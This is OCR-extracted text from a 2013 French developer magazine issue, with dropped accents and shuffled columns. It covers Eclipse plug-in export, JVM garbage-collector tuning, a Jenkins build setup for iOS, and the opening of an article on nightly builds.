On commence par vrifier les composants exporter, la fois du plugin et du fragment. Dans lditeur de MANIFEST.MF -> dans longlet
Build -> rubrique Binary Build -> Slectionnez tous les composants
exporter. Noubliez pas de sauvegarder. Un clic sur Save ou Save All.
Note :
Normalement on slectionne tout, sauf : (pour le plug-in et
fragment) [Fig.9]
.classpath
.project
.settings
build.properties

bouton Browse pour choisir le dossier de destination et entrez un


nom pour votre fichier archive (fichier .zip contenant les fichiers .jar)
[Fig.11]. Lancer lexportation
Cliquez sur le bouton Finish pour lancer lexportation

> Dployer le plug-in (et son fragment)


Il y a plusieurs moyens pour installer des plug-ins sous Eclipse. Parmi
lesquels celui dutiliser le dossier dropins
Arrtez (Shutdown) Eclipse
Copiez les deux fichiers .jar du dossier plugins (obtenu suite la
dcompression de larchive .zip de lexportation), vers le dossier
dropins de votre installation Eclipse.
Relancer (Restart) Eclipse
Le plug-in est maintenant install [Fig.12]

> Lancer Eclipse dans une autre langue

> Conditionnement et export


Dans lditeur de MANIFEST.MF (plug-in) -> longlet Overview ->
rubrique Exporting. Un clic sur le lien Export Wizard [Fig.10]
Dans le dialogue Export
Commencez par un clic sur longlet Options pour choisir vos options
dexportation. Un clic ensuite sur longlet Destination -> Slectionnez
le plug-in et le fragment. Slectionnez Archive file -> Un clic sur le

Eclipse utilise la langue du systme dexploitation par dfaut. Il est


possible toutefois de laisser Eclipse utiliser une autre langue (
condition de disposer dune interface dans cette langue).
On lance Eclipse dans une autre langue (sans rien modifier au niveau
du systme), en utilisant loption -nl de la ligne de commande dEclipse (Il est possible dutiliser cette option dans une raccourci).
Par exemple sous Linux (pour lancer Eclipse en franais)
./eclipse -nl fr
Et dans Windows
eclipse.exe -nl fr
# Kaesar Alnijres - Dveloppeur Java Leader jug-Cergy
http://www.java-javafx.com

Fig.9

Les composants ncessaires pour le dploiement

Fig.11

Option et destination de lexportation

Fig.10

Exporter le projet

Fig.12

Le plug-in install
PROgrammez !

< 58 >

MAI

2013

59-62

20/04/13

00:31

Page 59

i je dbute avec...

Comprendre le fonctionnement
de la machine virtuelle Java

2e partie

Dans le premier article de cette srie, nous avons vu comment la JVM optimise notre
code. A prsent, intressons-nous la manire dont la mmoire est gre et aux
diffrents Garbage Collectors.
> L'hypothse
gnrationnelle

Fig.2

Toute la gestion de la mmoire opre par la


JVM se base sur une hypothse gnrationnelle, rsume par la phrase "la plupart des
objets meurent jeunes" ou encore "La plupart des objets crs deviennent trs rapidement inaccessibles".
L'ide derrire cette hypothse est que les
applications crent de nombreux objets pour
leur fonctionnement, mais que seule une
faible partie d'entre eux a une longue dure
de vie. Ainsi, les diffrentes tapes d'un traitement gnrent beaucoup d'objets transitoires mais une seule donne finale.
Le graphique ci-contre rsume la quantit
d'objets crs par une application en fonction de leur ge [Fig.1].

Fig.1

Note : un objet est considr comme toujours en


vie s'il existe un autre objet vivant qui le rfrence.

> Les espaces mmoire


utilisables
Dans cette optique, la mmoire utilisable de
la JVM est fragmente en deux zones : la
young generation qui contient les nouveaux
objets et la old generation qui contient les
objets ayant une longue dure de vie.
La young generation est elle-mme fragmente en trois espaces distincts : l'Eden dans
lequel tous les objets sont crs et deux
zones dites "Survivor" qui servent de sas
d'entre dans la old generation.
Le cycle de vie de tous les objets commence
dans l'Eden. Au premier passage du garbage
collector, si l'objet est toujours vivant il est
dplac dans la zone "Survivor 1". chaque
prochain passage du GC, il sera dplac
dans l'autre zone "Survivor" jusqu' un certain seuil. Au-del, il sera dplac dans la old
generation [Fig.2].
Prenons l'exemple d'une application avec 2
types d'objets A et B avec un seuil gnrationnel de 4. Tous les objets sont crs dans
l'Eden et ont un ge de 1. Au premier passage du GC, seul B (ge : 2) est toujours utili-

s, il est donc dplac dans le Survivor 0


tandis que A1 est collect. Au second GC,
un nouvel objet A2 (ge 1) est cr, B (ge :
3) est toujours utilis et est dplac dans
Survivor 1. Au troisime passage du GC, A2
(ge : 2) et B (ge : 4) sont toujours vivants
et donc dplacs dans Survivor 0. Enfin, au
cinquime GC, l'ge de B (ge : 5) dpasse
le seuil gnrationnel, B est donc transfr
dans la old generation tandis que A2 (ge:
3) passe dans le Survivor 1 [Fig.3].

> Les collections


Deux types de collections ont t implments d'aprs l'hypothse gnrationnelle : les
collections mineures qui rcuprent la
mmoire dans la young generation et les collections majeures qui rcuprent la mmoire
dans la old generation. On confond parfois

PROgrammez !

< 59 >

MAI

2013

collection majeure et Full GC, ce dernier


terme indique une collection dans la young et
la old generation.
Par application de l'hypothse, les collections mineures sont celles qui arriveront le
plus souvent. Les espaces mmoire et le
garbage collector sont donc spcialement
optimiss pour que celles-ci durent le moins
de temps possible.
Les collections majeures sont bien plus coteuses, car elles doivent scanner l'intgralit
de la mmoire pour dterminer si les objets
de la old generation sont toujours vivants.

> Les pauses du GC


Les algorithmes de GC imposent parfois une
pause de l'application (Stop The World).
Dans ce cas de figure, le garbage collector
fige tour tour chacun des threads de l'ap-

59-62

20/04/13

00:31

Page 60

i je dbute avec...
Fig.3

vers la old generation. Dans la stratgie


Mark, Sweep & Compact, en revanche, ces
inconvnients n'existent pas. Le GC travaille
en trois temps : dans le premier, il marque
les objets vivants. Les objets morts sont
ensuite supprims, ce qui a pour effet de
fragmenter la mmoire. La mmoire devra
alors tre compacte pour que l'espace libr forme un bloc contigu.
L'avantage de cette stratgie est donc la vitesse d'excution des deux premires phases et
la moindre consommation mmoire. L'inconvnient est que la phase de dfragmentation
est quant elle trs coteuse en temps.

> Le choix d'un


Garbage Collector
plication lorsqu'ils atteignent un point d'arrt. Cette premire tape peut dj prendre
un certain temps, en effet, le GC ne peut pas
figer tous les threads en une seule fois tant
que ces derniers ne sont pas dans un tat
cohrent. Ensuite, le GC limine les objets
non utiliss et redmarre tous les threads
de l'application.
L'un des objectifs d'une JVM correctement
paramtre est d'avoir le moins de Full GC
possible, cet objectif est atteint lorsque l'application passe moins de 5% de son temps
fige cause du GC.
La old generation n'existe que pour optimiser
le travail du Garbage Collector et diminuer
les pauses ventuelles de l'application.
Lorsque l'ge d'un objet a dpass un certain seuil, on peut affirmer que cet objet
constitue l'exception de l'hypothse gnrationnelle : sa dure de vie sera bien plus
longue que la majorit des objets de l'application. Il n'est alors plus utile de le scanner
pour dterminer s'il est un objet faible
dure de vie, cela ne ferait que ralentir le
travail du GC dans l'Eden.

> Les logs


Pour pouvoir tuner une JVM, il est ncessaire d'avoir les logs du garbage collector.
Ces derniers contiennent normment d'informations et permettent de prendre des
dcisions claires et de mesurer les progrs effectus.
Les logs peuvent tre activs par l'option Xloggc:logs/gc.log qui cre un fichier gc.log
dans le dossier logs/. Il est galement
recommand d'ajouter des informations
complmentaires avec les options XX:+PrintGCDetails et -XX:+PrintTenuringDistribution. Ces deux options donnent des

dtails sur la manire dont la mmoire est


utilise et permettent d'identifier trs facilement les problmes de dimensionnement de
la heap.
La lecture des logs peut-tre trs fastidieuse
sans les outils appropris. Il est possible
d'utiliser HPJmeter (gratuit, www.hp.com/
go/hpjmeter), GCViewer (gratuit et open-source, https://github.com/chewiebug/GCViewer) ou
JClarity Censum (payant, www.jclarity.com/products/censum/).

> Les types de collections


Il existe deux stratgies pour le nettoyage de
la mmoire : Mark & Evacuate et Mark
Sweep & Compact.
Dans la stratgie Mark & Evacuate, le GC
travaille en deux phases : dans un premier
temps, tous les objets vivants de l'application
sont marqus. Ces mmes objets sont
ensuite recopis dans une nouvelle zone
mmoire et les pointeurs sont rcrits pour
rfrencer les nouvelles adresses.
Le principal avantage de cette stratgie est
que la mmoire n'est pas fragmente. En
effet, la zone nettoye peut tre considre
comme vide l'issue de la copie puisque les
objets vivants ont t "dplacs". L'inconvnient de cette stratgie est qu'elle est plus
coteuse en mmoire cause de la copie
des objets. Cette copie ncessite du temps
et au moins autant d'espace que d'objets
vivants, elle est donc rser ve des
espaces taille raisonnable. Son principal
avantage est que son temps d'excution est
proportionnel au nombre d'objets vivants.
C'est cette stratgie qui est utilise dans la
young generation et qui fait le passage des
objets depuis l'Eden vers un Survivor, puis
d'un Survivor l'autre et enfin d'un Survivor

PROgrammez !

< 60 >

MAI

2013

Plusieurs garbage collectors ont t dvelopps pour permettre la rcupration de la


mmoire dans diffrents contextes. On distingue les GC qui travaillent dans la young
generation de ceux qui travaillent dans la old
generation. Dans cet article, intressonsnous aux GC les plus frquemment utiliss :
ParallelGC (young) + ParallelOldGC (old) et
ParNew (young) + CMS (old).

> Les GC Parallel


et ParallelOld
Initialement, le garbage collector de la JVM
n'utilisait qu'un seul thread, ce qui rendait
son excution particulirement longue sur
les heap de plusieurs giga-octets. Les GC
"Parallel" permettent de rgler ce problme
en crant un nombre de threads proportionnel au nombre de cores disponibles sur le
serveur.
Les GC "Parallel" font partie de la catgorie
"Throughput". Leur objectif est de rcuprer
le plus de mmoire possible en un minimum
de temps. Ils sont utiliss dans des applications sans contrainte "temps-rel" car les
pauses peuvent tre assez longues (plusieurs secondes). On les active, par
exemple, sur les traitements batchs.
Ces garbage collectors offrent le meilleur
ratio entre overhead et mmoire libre.
Dans la young generation, on peut activer le
GC Parallel via l'option -XX:+UseParallelGC.
Ce dernier suit la stratgie Mark & Evacuate
et a donc un temps d'excution proportionnel au nombre d'objets vivants dans la young
generation. Dans une JVM correctement
tune, avec une heap de quelques Go, les
temps de pause se comptent en dizaines de
millisecondes.
Dans la old generation, on peut activer le GC
Parallel via l'option -XX:+UseParallelOldGC.

59-62

20/04/13

00:31

Page 61

i je dbute avec...
Celui-ci suit la stratgie Mark, Sweep &
Compact et a donc un temps d'excution
plus long car proportionnel la taille de la
heap. Dans une JVM correctement tune,
pour une heap de quelques Go, les pauses
du ParallelOldGC peuvent prendre plusieurs
secondes. Ces temps de pauses augmentent considrablement lorsque la taille de la
heap se compte en dizaines de Go.
Il est possible de spcifier le nombre de
threads utilisables par les GC parallles via
l'option ParallelGCThreads (par exemple,
pour 8 threads, -XX:ParallelGCThreads=8).

> Les GC ParNew et CMS


Les garbage collectors parallels sont particulirement inadapts aux problmatiques
temps rel. Par exemple, sur des sites
trs fort trafic comme Twitter, des pauses
de plusieurs secondes ne seraient pas
acceptables. Deux garbage collectors ont
donc t ajouts : CMS (Concurrent Mark &
Sweep) et ParNew. Ils permettent de minimiser les temps de pause, mais impliquent un
overhead plus important.
Ces deux garbage collectors offrent le
meilleur ratio entre temps de pause et
mmoire libre.
Dans la young generation, on peut activer le
GC ParNew via l'option -XX:+UseParNewGC.
Ce dernier est relativement semblable au
ParallelGC (stratgie Mark & Evacuate,
temps d'excution proportionnel au nombre
d'objets vivants) la diffrence prs qu'il a un
overhead plus important que ce dernier. La
principale caractristique de ParNew est
qu'il est compatible avec CMS et qu'il peut lui
envoyer des informations sur l'utilisation de
la young generation, chose que le ParallelGC
ne peut pas faire. Les pauses de ParNew
sont bloquantes et sont de l'ordre de la milliseconde dans une JVM correctement
tune. Dans la old generation, on peut activer le GC CMS via l'option -XX:+UseConcMarkSweepGC. Comme pour ParallelOldGC,
a un temps d'excution proportionnel la
taille de la heap.
En revanche, l'excution de CMS ne bloque
pas les threads de la JVM, elle se fait pendant l'excution de l'application et partage
donc le temps CPU avec cette dernire.
CMS suit la stratgie Mark, Sweep & Compact mais n'effectue la compaction qu'en
dernier recours, c'est--dire lorsque la heap
est tellement fragmente qu'un objet de la
young generation ne peut pas tre dplac
dans la old generation car il n'existe pas de
bloc contigu suffisamment grand pour lac-

cueillir. Dans ce cas de figure, on parle alors


de promotion failure et la JVM dclenche un
Full GC paralell (bloquant) pour compacter la
heap.
Grce la communication entre ParNew et
CMS, il est possible de dclencher un cycle
de CMS lorsque l'utilisation de la young generation dpasse un certain seuil, donn par
l'option InitiatingHeapOccupancyPercent en
pourcentage (valeur par dfaut : 45%).

> Le GC Garbage First


Un nouveau garbage collector baptis G1
(Garbage First) a t introduit en version
bta dans la JVM 1.6 et est considr
stable depuis la JVM 1.7.
La force de G1 tient dans les objectifs qui
peuvent lui tre dfinis. Par exemple, si l'on
souhaite qu'aucune pause ne dpasse
300ms, il suffit de spcifier l'option XX:MaxGCPauseMillis=300 pour que les
cycles de G1 s'arrtent une fois ce dlai
dpass.
Attention toutefois ne pas spcifier une
limite trop basse. Si la dure maximale est
trop faible, G1 se dclenchera plus souvent
pour pouvoir librer de la mmoire et cela
aura donc un effet contre-productif. Si malgr des dclenchements plus frquents, la
heap est compltement remplie, la JVM
dclenche un Full GC parallle qui est bloquant pour nettoyer toute la heap.

> Objectifs de tuning


et indicateurs
Lorsque l'on souhaite affiner le comportement de la JVM, il est important de dfinir
des mtriques qui vont permettre de mesurer l'tat d'une application en fonction du
temps. Les indicateurs les plus souvent utiliss sont :
Temps pass dans le GC sur toute la dure
de l'application en pourcentage. Lorsque
cet indicateur est suprieur 5%, cela
signifie que des actions peuvent tre
menes sur la heap, le garbage collector
ou le code de l'application.
Temps pass dans le GC par minute (minimum, moyenne et maximum). Cet indicateur fonctionne sur le mme principe que
le prcdent mais indique en plus la dure
maximale de pause que l'application a
subie
Frquence de lancement des GC. Lorsque
cet indicateur est lev, il faut analyser la
quantit de mmoire libre chaque GC
pour dterminer un ventuel problme de
dimensionnement de la heap

PROgrammez !

< 61 >

MAI

2013

Nombre de Full GC. Les full GC bloquent


l'application, il faut donc faire en sorte
d'avoir un nombre de Full GC proche de 0.

> Pige 1 : Ne pas activer


les logs GC
Il est assez frquent de voir des applications
sur lesquelles les logs GC ne sont pas activs par peur que cela allonge le temps de
collection. Ces craintes sont gnralement
toujours infondes car la quantit d'information crite par le GC dans son log est trs
faible (de l'ordre d'un ou deux tweets).
Le vrai problme que cause ce pige est que
sans les logs du GC, il est impossible de
connatre les informations qui permettront
de tuner efficacement une JVM, comme par
exemple l'utilisation des diffrents espaces,
ou la vitesse de cration des objets.

> Pige 2 : Fixer au dmarrage la taille de la heap


L'un des paramtrages frquemment
constats dans une JVM est le pattern
Xms=Xmx (ou sa variante ms=mx). Il permet
d'allouer toute la mmoire dont la JVM aura
besoin son dmarrage et de ne jamais restituer cette mmoire l'OS. La justification
habituelle de ce pattern est que cela permet
de s'affranchir d'appels systmes malloc et
free, qui sont coteux, et donc d'amliorer
les performances de la JVM.
Cependant, ce paramtrage est rarement
une bonne ide.
Plus la heap est volumineuse, plus les temps
d'excution du garbage collector vont tre
importants. La rduction de la taille de la
heap peut tre une stratgie utilise par la
JVM pour amliorer les performances de
l'application en diminuant les pauses du GC,
or si la taille de la heap n'est pas modifiable,
cette stratgie ne peut pas tre implmente. Il faut galement savoir que l'augmentation et la diminution de la taille de la heap ne
se font que lors de full GC, c'est--dire que
lorsque l'application est dj en pause. Or
une JVM correctement tune passe moins
de 5% de son temps dans des full GC. En
rsum, ce pattern tente d'acclrer une
portion marginale de l'excution d'une application, tout en entranant une diminution des
performances globales.

> Pige 3 : librer la mmoire


avec System.gc()
On tombe parfois sur des appels
System.gc() ou Runtime.gc() dans certaines
bases de code. L'ide est alors de forcer le

59-62

20/04/13

00:31

Page 62

i je dbute avec...
dmarrage du garbage collector plutt que
de le subir.
Cette approche a plusieurs inconvnients.
Tout d'abord, d'aprs la spcification Java,
un appel System.gc() n'entrane pas ncessairement le dmarrage du Garbage Collector. Il ne faut donc pas ncessairement
partir du postulat "Un appel System.gc()
lance le garbage collector". Dans OpenJDK,
cette mthode dclenche effectivement le
garbage collector, mais il ne s'agit que d'un
dtail d'implmentation.
Mais le vritable problme est que c'est un
full GC qui est dclench, ce qui provoquera
une pause dans l'application pour aller collecter des objets dans toute la heap (young
et old generation, ventuellement permanent generation).
Si le traitement prcdant l'appel System.gc() a produit des objets faible dure
de vie, alors ces derniers ont probablement

dj t collects par un young GC, ce qui


veut dire que nous allons collecter toute la
heap pour rcuprer des objets dj limins. Dans le cas contraire, rien ne nous
garantit qu'un Full GC n'a pas dj t excut, on aboutit alors deux full GC au lieu d'un
seul.
Il est possible de dsactiver totalement la
mthode System.gc() sur toute une JVM par
le paramtre -XX:+DisableExplicitGC, mais
ceci ne fonctionne que sur OpenJDK et n'est
qu'une solution de contournement
Lorsque l'on paramtre une JVM, on essaye
d'obtenir le moins de Full GC possible, et les
appels System.gc() rendent cet objectif
inatteignable.

Lorsque l'on souhaite affiner le comportement de la JVM, il faut s'assurer de comprendre la situation courante et d'avoir les
informations requises pour pouvoir justifier
qu'un paramtrage diffrent donnera de
meilleurs rsultats. Pour cela, il est impratif d'avoir les logs d'excution du GC et de
solides connaissances sur le fonctionnement
des GC.
Dans cet article, nous avons pu voir que la
gestion de la mmoire est un sujet trs complexe et passionnant. Les ressources sont
nombreuses sur le sujet et il ne faut pas
hsiter exprimenter pour bien comprendre le fonctionnement interne de la
JVM.

> Conclusion

# Pierre Laporte
Formateur "Java Performance Tuning"
et consultant chez Xebia.
http://blog.xebia.fr

La JVM, dans son paramtrage par dfaut,


tente de s'adapter le plus possible au profil
de consommation mmoire de l'application.

Formez et fidlisez vos quipes techniques


en leur offrant un

Abonnement Programmez !
Une formation et une veille technologique, prix rduit

1 an dabonnement = 39 seulement par abonn ( partir de 10 abonns)

Pour 3,25 par mois par dveloppeur,


+Offre de lancement : 1 page de Publicit offerte pour votre entreprise !
partir de 100 abonns, offre de lancement
Adressez un mail diff@programmez.com, en indiquant le nombre dabonns souhait, pour recevoir le devis.

www.programmez.com
PROgrammez !

< 62 >

MAI

2013

63-65

20/04/13

00:32

Page 63

i je dbute avec...

Mise en place dune usine de


compilation pour iOS
Il y a plusieurs raisons pour souhaiter la mise en place dune usine de compilation
lorsque lon dveloppe des applications : mise en place de nightly build,
automatisation des tests, analyse des rgressions
Pour cela, nous utilisons des serveurs dintgration continue. Il en
existe plusieurs :
Jenkins
Hudson
CruiseControl
Microsoft Team Foundation Server
etc.
Dans cet article, nous allons utiliser Jenkins. Celui-ci est un fork
dHudson issu du rachat de Sun par Oracle. Le dveloppeur de Hudson, Kohsuke Kawaguchi ayant quelques diffrends avec Oracle sur
lavenir de loutil, dcida donc de reprendre le projet indpendamment sous un autre nom.
Jenkins est compltement open source et possde une trs grande
communaut dutilisateurs et de dveloppeurs. Prvu pour lenvironnement Java, de nombreux plug-ins ont t dvelopps pour permettre Jenkins denrichir ses fonctionnalits :
Serveur de contrle de code source
Automatisation de compilation avec diffrents outils : MSBuild,
Ant, Maven, XCodeBuild, Makefile, etc.
Rcupration de code source depuis des dpts distants (Git, Mercurial, SVN)
etc.

> Installation de Jenkins


Avant toute chose, il y a certains prrequis pour mettre en place une
usine de compilation iOS avec Jenkins :
Un ordinateur Apple avec OS X install
XCode 4 install (avec les outils en ligne de commande intgrs)
Sans ces deux points il vous sera impossible de raliser ce qui suit.
Commenons par aller tlcharger Jenkins sur le site : http://jenkinsci.org/ et cliquez sur le lien de tlchargement pour OS X.
Un fichier pkg va tre tlcharg. Celui-ci permet de faire une installation par dfaut de Jenkins sur OS X. Une fois celui-ci install, un
nouvel utilisateur a t cr sur votre systme: jenkins. Celui-ci sera
uniquement utilis par le serveur dintgration continue. Jenkins possde deux modes dexcution :
En tant quapplication dans un serveur dapplication JEE (contenue
dans un servlet Java). En application standalone (embarquant son
propre serveur dapplication)
Une fois linstallation termine, ouvrez votre navigateur web et allez
sur la page http://localhost:8080. Si tout cest bien pass, vous devriez
voir la page daccueil de Jenkins vous indiquant quaucun job na
t cr [Fig.1].
La compilation dapplications iOS ncessite linstallation dun plug-in.
Allez sur la page dadministration de Jenkins en cliquant sur le lien
Administrer Jenkins depuis la page daccueil. Cette page contient
une liste de rubriques permettant la configuration de Jenkins. Allez

PROgrammez !

Fig.1

Fig.2

ensuite sur la page de gestion des plug-ins en cliquant sur le lien


Gestion des plugins, puis slectionnez longlet Disponibles.
Une liste assez importante apparat, cest la liste des plug-ins disponibles depuis le dpt Jenkins. Filtrons les rsultats en crivant
XCode dans le champ Filter. La liste devrait se rduire
quelques lignes dornavant.
Cochez le plug-in nomm XCode intgration, puis cliquez sur le
bouton Install without restart. Une page de suivi dinstallation
devrait apparatre. Si vous navez pas activ lauto rafrachissement,
je vous invite rafrachir votre page aprs quelques secondes pour
vrifier que le plug-in a bien t install (un redmarrage de Jenkins
peut tre ncessaire aprs linstallation).
Une fois install, retournez sur la page dadministration de Jenkins
puis allez sur la page de configuration du systme en cliquant sur le
lien Configurer le systme. Par dfaut, Jenkins prconfigure lensemble du systme. La mise en place du plug-in XCode peut ncessiter quelques ajustements.
Allez longlet XCode Builder et ouvrez un Terminal en parallle.
Testez bien que chaque ligne de longlet reprsente un excutable
prsent sur votre systme. Pour cela, vous pouvez par exemple
tapez la commande suivante whereis xcodebuild pour vrifier la premire ligne de configuration du plug-in.
Si la commande vous retourne le mme chemin que celui crit
dans la bote de texte, la configuration de cet outil est bien faite

< 63 >

MAI

2013

63-65

20/04/13

00:33

Page 64

i je dbute avec...
Fig.3

Si elle vous retourne un chemin diffrent, remplacez le chemin


prsent dans la configuration de Jenkins par le chemin retourn
par la commande.
Si la commande ne vous retourne rien, cest que loutil en question nest pas install [Fig.2].
Dans ce cas, je vous invite vrifier que les outils en ligne de commande de XCode sont bien installs. Pour cela, lancez XCode puis
cliquez sur XCode > Preferences depuis le menu principal dans la
barre du systme.
Dans la fentre des prfrences, allez sur longlet Downloads, puis
vrifiez que la ligne Command Line Tools ait bien lindicateur Installed, sinon, cliquez sur le bouton Install [Fig.3].
Rptez cette vrification pour chaque outil prcis dans la configuration du plug-in (xcodebuild, avgtool, xcrun). Une fois que cela est
fait, votre serveur dintgration continue sera prt raliser des
build iOS.

> Cration dune tche de compilation


pour XCode
Maintenant que notre installation de Jenkins est fonctionnelle, nous
allons pouvoir crer une tche afin dautomatiser la compilation dun
projet iOS.
Avant toute chose, il est ncessaire davoir un projet Xcode pour nos
tests. Crons un projet trs simple ne contenant quune seule vue.
Ouvrez XCode puis, depuis le menu principal dans la barre systme,
cliquez sur File > New > Project. Slectionnez le template Single
View Application, renseignez les informations sur le projet puis validez sa cration.
Retournez sur le page daccueil de Jenkins, puis cliquez sur Nouveau Job. Choisissez un nom pour votre tche (e.g. iOS Project
Automatization Job), cochez la case Construire un projet freestyle puis cliquez sur le bouton OK.
Vous serez redirig vers la page de configuration de votre tche.
Cest ici que vous pourrez par exemple dfinir que celle-ci doit
dabord rcuprer le code prsent sur un serveur de contrle de
code source avant de le compiler.
Commenons par ajouter une tape de compilation, allez sur longlet
Build puis cliquez sur le bouton Ajouter une tape au build.
Si le plug-in Xcode est bien install, dans la liste droulante qui
saffichera vous devriez voir apparatre XCode comme choix,
slectionnez-le.
Un nouvel encart a t cr sous longlet Build, celui-ci permet de
configurer la compilation effectue par la tche. Voici une brve
explication de chaque champ :
Clean before build? - indique au compilateur quil doit nettoyer le
projet avant de le compiler
Target - permet de choisir une cible de compilation particulire (si
vide, toutes les cibles seront faites)
Xcode Schema file - permet de choisir un schma de compilation

PROgrammez !

plutt que dutiliser une cible (ou plusieurs)


SDK - permet de spcifier le SDK utiliser. Utile dans le cas dune
compilation de tests unitaires o il est ncessaire dutiliser le SDK
du simulateur iOS
SYMROOT - permet de dfinir o seront enregistrs les fichiers compils
Configuration - permet de dfinir la configuration utiliser (gnralement Release ou Debug)
Custom xcodebuild arguments - permet dajouter des arguments
la commande xcodebuild excute par Jenkins
XCode Workspace File - permet de dfinir lemplacement de lespace de travail XCode (fichier *.xcworkspace) utiliser (annule le
champ suivant)
XCode Project File - permet de dfinir le projet XCode (fichier
*.xcodeproj) utiliser (utile si plusieurs projets sont disponibles
dans le rpertoire de travail)
Build output directory - permet de dfinir o sera export le
rsultat final de la compilation (e.g. IPA, App, DSYM, etc.)
Marketing version - modifie le numro de version visible au public
du projet (CFBundleShortVersionString)
Technical version - modifie le numro de version rel du projet
(CFBundleVersion)
Clean test reports? - permet de nettoyer les rapports de tests
avant dexcuter la compilation
Build IPA? - permet dindiquer Jenkins quil doit gnrer un IPA
suite la compilation
Embedded Profile - profile de dveloppement/distribution utiliser
pour la gnration de lIPA
Unlock Keychain? - permet Jenkins dautomatiquement dverrouiller le trousseau daccs afin dviter davoir confirmer son
ouverture lors de lexcution de la tche
Keychain path - permet de saisir le chemin du trousseau daccs
utiliser
Keychain password - permet Jenkins de ne pas avoir demander
le mot de passe avant chaque ouverture du trousseau daccs.
La configuration par dfaut est suffisante dans notre cas. Cependant, afin dviter tout problme de signature de lapplication lors de
la compilation, nous allons forcer lutilisation du SDK du simulateur
iOS. Apple interdit la compilation dune application iOS avec le SDK
rel si lapplication nest pas signe par un dveloppeur enregistr
auprs dApple (payant).
Modifier le champ SDK pour utiliser le SDK du simulateur iOS :
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator5.0.sdk
(peut ncessiter quelques ajustements en fonction de votre systme
et de sa configuration).
Notez qu aucun moment nous navons d dfinir un rpertoire pour
le projet. Cela est normal. Un serveur dintgration continue doit
tre connect un serveur de contrle de code source (Git, SVN,
etc.) pour rcuprer les sources.
Dans notre cas, nous allons tricher un peu en copiant notre projet
XCode dans le rpertoire de travail de notre tche.
Pour cela, ouvrez un terminal et identifiez le chemin du rpertoire
contenant votre projet XCode, puis tapez cette commande :
sudo cp -R /Users/vincentsaluzzo/Project/CI-iOS-Project/
/Users/Shared/Jenkins/Home/jobs/iOS\ Project\ Automatization\
job/workspace/

< 64 >

MAI

2013

63-65

20/04/13

00:33

Page 65

i je dbute avec...
quant sur le lien Lancer un build. Une pop-in vous indiquera que
la compilation a dmarr et une nouvelle entre apparatra dans
lhistorique des builds. Cliquez sur celle-ci, vous obtiendrez plus
de dtails sur la compilation. Pour accder aux informations de
compilation, cliquez sur le lien Sortie Console, vous pourrez
analyser le rsultat des commandes de compilations effectues
par Jenkins.

> Mise en place de


nightly build
En complment de lautomatisation de la tche, nous allons
voir comment dfinir son excution priodiquement. Allez
sur la page daccueil de votre
tche et cliquez sur le lien
Configurer pour accder la
configuration de celle-ci.
Dans la liste prsente, allez
la catgorie Ce qui dclenche
le build. Trois options sont disponibles :
Construire la suite dautres
projets (projet en amont)
Remplacez bien videment /Users/vincentsaluzzo/Project/CI-iOSProject/ par le rpertoire de votre projet XCode et modifiez le nom
du rpertoire de destination en fonction du nom de la tche cre
dans Jenkins, par exemple :
/Users/Shared/Jenkins/Home/jobs/iOS\ Project\ Automatization\ job/workspace/ - la tche sappelle iOS Project Automatization job
/Users/Shared/Jenkins/Home/jobs/matache/workspace/ - la
tche sappelle matache
Si vous rencontrez une erreur vous indiquant que le dossier workspace nexiste pas, je vous invite lancer une premire compilation
dans le vide depuis Jenkins.
Cela aura pour effet de crer le rpertoire de travail de votre tche,
mme si celle-ci choue.
Puis recommencez ltape ci-dessus pour copier votre projet dans
lespace de travail de Jenkins.
Afin de vrifier si Jenkins a bien sa connaissance le projet XCode,
cliquez sur le lien Espace de travail dans le menu de gauche de
votre tche. Si la copie a bien fonctionn, vous devriez voir diffrents
dossiers dans la liste de droite, tels que le fichier projet de XCode et
le rpertoire du code source.
Il est fort probable que la copie ait conserv les droits dcriture et
de lecture provenant de lutilisateur de votre systme. Pour pallier
cela et autoriser Jenkins correctement utiliser ce dossier, tapez
cette commande (en prenant toujours bien soin dadapter la commande votre configuration) :
sudo chown -R jenkins:jenkins /Users/Shared/Jenkins/Home/jobs/
iOS\ Project\ Automatization\ job/workspace/

Construire priodiquement
Scrutation de loutil de gestion de version
Dans notre cas, nous allons utiliser la deuxime option. Cochez-la,
une bote de texte apparaitra en dessous de celle-ci, qui permet de
dfinir lheure et le jour o lexcution de la tche doit avoir lieu. Cela
se dfinit en respectant la syntaxe cron (avec quelques diffrences).
Chaque ligne permet de dfinir une planification, celles-ci doivent
tre dfinies par 5 champs diffrents, spars par une tabulation ou
des espaces (syntaxe de cron):
Minutes
Heures
Jour du mois
Mois
Jour de la semaine
Par exemple :
#
*
#
5

toutes les minutes


* * * *
toutes les 5 minutes aprs lheure
* * * *

Il est aussi possible dutiliser les mots-cls @yearly, @annually,


@monthly, @weekly, @daily, @midnight et @hourly.
Dans notre cas, nous souhaitons que la compilation seffectue
chaque jour minuit, nous naurons donc qu mettre le mot-clef
@midnight. Nous venons de mettre en place une usine de compilation compatible avec iOS. Notez quil est trs simple dadapter cette
installation pour mettre en place lintgration continue avec dautres
plateformes telles quAndroid, Windows Phone, etc.

Lensemble des rpertoires et sous-rpertoires dans lespace de travail de votre tche sera maintenant attribu lutilisateur jenkins.
Votre tche est maintenant prte tre excute.
Allez sur la page daccueil de celle-ci et lancez une compilation en cli-

PROgrammez !

< 65 >

# Vincent Saluzzo
Ingnieur tude et dveloppement
Expert en dveloppement iOS

MAI

2013

66-69

20/04/13

00:35

Page 66

i je dbute avec...

Je mets en place des Nightly Build


Que le concept dintgration continue nous soit familier ou non, Il est trs frquent
dtre confront des besoins dautomatisation de tches assez gourmandes en
temps. Afin dinclure celles-ci sans ralentir la Build dintgration continue, il est
primordial de regarder plus en dtail le concept de Build nocturne (Nightly Build).
elon lenvironnement de technologies
dans lequel est utilis cette Build, diffrents outils sont disponibles. Pour
terminer dillustrer ce concept, quelques
exemples de problmatiques pratiques
accompagnes de leurs rsolutions sont
abordes au travers de la mise en place
dune Build nocturne avec loutil Team Foundation Server 2012.

NIGHTLY BUILD ?
La Build nocturne, ou Nightly Build en
anglais, possde des similarits avec la Build
dintgration continue. Elle reprend trs souvent comme base une Build dintgration
continue, tout en lui ajoutant des tapes supplmentaires telles que les tests dintgration continue, le packaging ou encore le
dploiement. Par dfinition, une Build, continue ou nocturne, lance la construction dune
application. Pour cela, de nombreuses
tapes sont effectues, avec pour finalit la
compilation du code source et la gnration
de binaires de formats divers (.dll, .exe, .jar,
.bin, etc.). noter que dans le cadre de projets utilisant des langages non compils en
Byte code, tels que PHP, ltape de compilation se voit ignore, mais les autres tapes
restent toujours aussi importantes. Dans le
